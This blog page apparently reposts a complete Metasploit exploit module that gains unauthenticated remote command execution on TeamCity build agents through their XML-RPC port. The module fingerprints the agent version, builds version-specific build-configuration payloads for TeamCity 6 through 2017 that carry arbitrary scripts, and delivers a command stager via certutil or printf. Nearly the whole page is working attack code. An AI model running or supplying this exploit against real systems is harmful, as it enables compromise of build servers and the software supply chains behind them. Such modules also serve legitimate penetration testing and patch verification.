Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863538750

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TeamCity Agent XML-RPC Command Execution',
      'Description'    => %q(
        This module allows remote code execution on TeamCity Agents configured
        to use bidirectional communication via xml-rpc. In bidirectional mode
        the TeamCity server pushes build commands to the Build Agents over port
        TCP/9090 without requiring authentication. Up until version 10 this was
        the default configuration. This module supports TeamCity agents from
        version 6.0 onwards.
      ),
      'Author'         => ['Dylan Pindur <dylanpindur@gmail.com>'],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://www.tenable.com/plugins/nessus/94675']
        ],
      'Platform'       => %w[linux win],
      'Targets'        =>
        [
          ['Windows', { 'Platform' => 'win' }],
          ['Linux', { 'Platform' => 'linux' }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 14 2015'))

    deregister_options('SRVHOST', 'SRVPORT', 'URIPATH', 'VHOST')
    register_options(
      [
        Opt::RPORT(9090),
        OptString.new(
          'CMD',
          [false, 'Execute this command instead of using command stager', '']
        )
      ]
    )
  end

  def check
    version = determine_version
    if !version.nil? && version >= 15772
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    version = determine_version
    if version.nil?
      fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version')
    else
      print_status("Found TeamCity Agent running build version #{version}")
    end

    unless datastore['CMD'].blank?
      print_status('Executing user supplied command')
      execute_command(datastore['CMD'], version)
      return
    end

    case target['Platform']
    when 'linux'
      linux_stager(version)
    when 'win'
      windows_stager(version)
    else
      fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end
  end

  def windows_stager(version)
    print_status('Constructing Windows payload')

    stager = generate_cmdstager(
      flavor: :certutil,
      temp: '.',
      concat_operator: "\n",
      nodelete: true
    ).join("\n")
    stager = stager.gsub(/^(?<exe>.{5}\.exe)/, 'start "" \k<exe>')

    xml_payload = build_request(stager, version)
    if xml_payload.nil?
      fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
    end

    print_status("Found compatible build config for TeamCity build #{version}")
    send_request(xml_payload)
  end

  def linux_stager(version)
    print_status('Constructing Linux payload')

    stager = generate_cmdstager(
      flavor: :printf,
      temp: '.',
      concat_operator: "\n",
      nodelete: true
    ).join("\n")
    stager << ' &'

    xml_payload = build_request(stager, version)
    if xml_payload.nil?
      fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
    end

    print_status("Found compatible build config for TeamCity build #{version}")
    send_request(xml_payload)
  end

  def execute_command(cmd, version)
    xml_payload = build_request(cmd, version)

    if xml_payload.nil?
      fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
    end

    print_status("Found compatible build config for TeamCity build #{version}")
    send_request(xml_payload)
  end

  def determine_version
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.getVersion</methodName>
  <params></params>
</methodCall>
    )
    res = send_request_cgi(
      {
        'uri'    => '/',
        'method' => 'POST',
        'ctype'  => 'text/xml',
        'data'   => xml_payload.strip!
      },
      10
    )

    if !res.nil? && res.code == 200
      xml_doc = res.get_xml_document
      if xml_doc.errors.empty?
        val = xml_doc.xpath('/methodResponse/params/param/value')
        if val.length == 1
          return val.text.to_i
        end
      end
    end
    return nil
  end

  def send_request(xml_payload)
    res = send_request_cgi(
      {
        'uri'    => '/',
        'method' => 'POST',
        'ctype'  => 'text/xml',
        'data'   => xml_payload
      },
      10
    )

    if !res.nil? && res.code == 200
      print_status("Successfully sent build configuration")
    else
      print_status("Failed to send build configuration")
    end
  end

  def build_request(script_content, version)
    case version
    when 0..15771
      return nil
    when 15772..17794
      return req_teamcity_6(script_content)
    when 17795..21240
      return req_teamcity_6_5(script_content)
    when 21241..27401
      return req_teamcity_7(script_content)
    when 27402..32059
      return req_teamcity_8(script_content)
    when 32060..42001
      return req_teamcity_9(script_content)
    when 42002..46532
      return req_teamcity_10(script_content)
    else
      return req_teamcity_2017(script_content)
    end
  end

  def req_teamcity_2017(script_content)
    build_code = Rex::Text.rand_text_alpha(8)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myBuildTypeExternalId>x</myBuildTypeExternalId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
            <myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
            <myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myServerParameters class="StringTreeMap">
              <k>system.build.number</k>
              <v>0</v>
            </myServerParameters>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myArtifactStorageSettings/>
            <myBuildFeatures/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myParametersSpecs class="StringTreeMap"/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootCurrentRevisions class="tree-map"/>
            <myVcsRootEntries/>
            <myVcsRootOldRevisions class="tree-map"/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myId>x</myId>
                <myIsDisabled>false</myIsDisabled>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myChildren class="list"/>
                <myServerParameters class="tree-map">
                  <entry>
                    <string>teamcity.build.step.name</string>
                    <string>x</string>
                  </entry>
                </myServerParameters>
                <myRunnerParameters class="tree-map">
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_10(script_content)
    build_code = Rex::Text.rand_text_alpha(8)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myBuildTypeExternalId>x</myBuildTypeExternalId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
            <myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
            <myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myServerParameters class="StringTreeMap">
              <k>system.build.number</k>
              <v>0</v>
            </myServerParameters>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myBuildFeatures/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myParametersSpecs class="StringTreeMap"/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootCurrentRevisions class="tree-map"/>
            <myVcsRootEntries/>
            <myVcsRootOldRevisions class="tree-map"/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myId>x</myId>
                <myIsDisabled>false</myIsDisabled>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myChildren class="list"/>
                <myServerParameters class="tree-map">
                  <entry>
                    <string>teamcity.build.step.name</string>
                    <string>x</string>
                  </entry>
                </myServerParameters>
                <myRunnerParameters class="tree-map">
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_9(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myBuildTypeExternalId>x</myBuildTypeExternalId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myServerParameters class="StringTreeMap">
              <k>system.build.number</k>
              <v>0</v>
            </myServerParameters>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myBuildFeatures/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootCurrentRevisions class="tree-map"/>
            <myVcsRootEntries/>
            <myVcsRootOldRevisions class="tree-map"/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myId>x</myId>
                <myIsDisabled>false</myIsDisabled>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myChildren class="list"/>
                <myServerParameters class="tree-map">
                  <entry>
                    <string>teamcity.build.step.name</string>
                    <string>x</string>
                  </entry>
                </myServerParameters>
                <myRunnerParameters class="tree-map">
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_8(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
            <myServerParameters class="tree-map">
              <entry>
                <string>system.build.number</string>
                <string>0</string>
              </entry>
            </myServerParameters>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootCurrentRevisions class="tree-map"/>
            <myVcsRootEntries/>
            <myVcsRootOldRevisions class="tree-map"/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myId>x</myId>
                <myIsDisabled>false</myIsDisabled>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myChildren class="list"/>
                <myServerParameters class="tree-map">
                    <entry>
                      <string>teamcity.build.step.name</string>
                      <string>x</string>
                    </entry>
                  </myServerParameters>
                <myRunnerParameters class="tree-map">
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                  </myRunnerParameters>
                </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myBuildFeatures/>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_7(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
            <myServerParameters class="tree-map">
              <no-comparator/>
              <entry>
                <string>system.build.number</string>
                <string>0</string>
              </entry>
            </myServerParameters>
            <myVcsRootOldRevisions class="tree-map">
              <no-comparator/>
            </myVcsRootOldRevisions>
            <myVcsRootCurrentRevisions class="tree-map">
              <no-comparator/>
            </myVcsRootCurrentRevisions>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootEntries/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myRunnerParameters class="tree-map">
                  <no-comparator/>
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
                <myServerParameters class="tree-map">
                  <no-comparator/>
                  <entry>
                    <string>teamcity.build.step.name</string>
                    <string>x</string>
                  </entry>
                </myServerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myBuildFeatures/>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_6_5(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.run</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myPersonal>false</myPersonal>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
            <myServerParameters class="tree-map">
              <no-comparator/>
              <entry>
                <string>system.build.number</string>
                <string>0</string>
              </entry>
            </myServerParameters>
            <myVcsRootOldRevisions class="tree-map">
              <no-comparator/>
            </myVcsRootOldRevisions>
            <myVcsRootCurrentRevisions class="tree-map">
              <no-comparator/>
            </myVcsRootCurrentRevisions>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myBuildTypeOptions/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootEntries/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myRunnerParameters class="tree-map">
                  <no-comparator/>
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
                <myServerParameters class="tree-map">
                  <no-comparator/>
                </myServerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_6(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.run</methodName>
    <params>
      <param>
        <value>
          <![CDATA[
            <AgentBuild>
              <myBuildId>#{build_id}</myBuildId>
              <myBuildTypeId>x</myBuildTypeId>
              <myAccessCode></myAccessCode>
              <myPersonal>false</myPersonal>
              <myCheckoutType>ON_AGENT</myCheckoutType>
              <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
              <myServerParameters class="tree-map">
                <no-comparator/>
                <entry>
                  <string>system.build.number</string>
                  <string>0</string>
                </entry>
              </myServerParameters>
              <myVcsRootOldRevisions class="tree-map">
                <no-comparator/>
              </myVcsRootOldRevisions>
              <myVcsRootCurrentRevisions class="tree-map">
                <no-comparator/>
              </myVcsRootCurrentRevisions>
              <myArtifactDependencies/>
              <myBuildTypeOptions/>
              <myPersonalVcsChanges/>
              <myUserBuildParameters/>
              <myVcsChanges/>
              <myVcsRootEntries/>
              <myBuildRunners>
                <jetbrains.buildServer.agentServer.BuildRunnerData>
                  <myRunType>simpleRunner</myRunType>
                  <myServerParameters class="tree-map">
                    <no-comparator/>
                  </myServerParameters>
                  <myRunnerParameters class="tree-map">
                    <no-comparator/>
                    <entry>
                      <string>script.content</string>
                      <string>#{script_content}</string>
                    </entry>
                    <entry>
                      <string>use.custom.script</string>
                      <string>true</string>
                    </entry>
                  </myRunnerParameters>
                </jetbrains.buildServer.agentServer.BuildRunnerData>
              </myBuildRunners>
            </AgentBuild>
          ]]>
        </value>
      </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end
end